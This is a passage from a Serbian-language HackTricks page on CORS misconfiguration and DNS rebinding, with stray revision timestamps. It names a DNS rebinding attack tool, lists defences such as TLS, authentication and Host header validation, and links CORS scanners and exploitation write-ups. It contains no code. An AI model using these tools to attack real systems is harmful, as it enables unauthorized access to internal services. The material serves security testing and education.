[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) je alat za izvođenje napada [DNS prevezivanja](https://en.wikipedia.org/wiki/DNS\_rebinding). Uključuje neophodne komponente za prevezivanje IP adrese DNS imena napadačkog servera na IP adresu ciljnog računara i za pružanje napadačkih payloada radi iskorišćavanja ranjivog softvera na ciljnom računaru.
2022-05-02 00:28:26 +00:00
2024-02-10 13:11:20 +00:00
### Stvarna zaštita od DNS prevezivanja
2022-05-02 00:29:38 +00:00
2024-02-10 13:11:20 +00:00
* Koristite TLS u unutrašnjim servisima
* Zahtevajte autentifikaciju za pristup podacima
* Validirajte Host zaglavlje
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Predlog da se uvek šalje pre-flight zahtev kada javni serveri žele da pristupe internim serverima
2022-05-02 00:29:38 +00:00
2024-02-10 13:11:20 +00:00
## **Alati**
2024-02-10 13:11:20 +00:00
**Testirajte moguće netačne konfiguracije CORS politika**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
2024-02-10 13:11:20 +00:00
## Reference
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>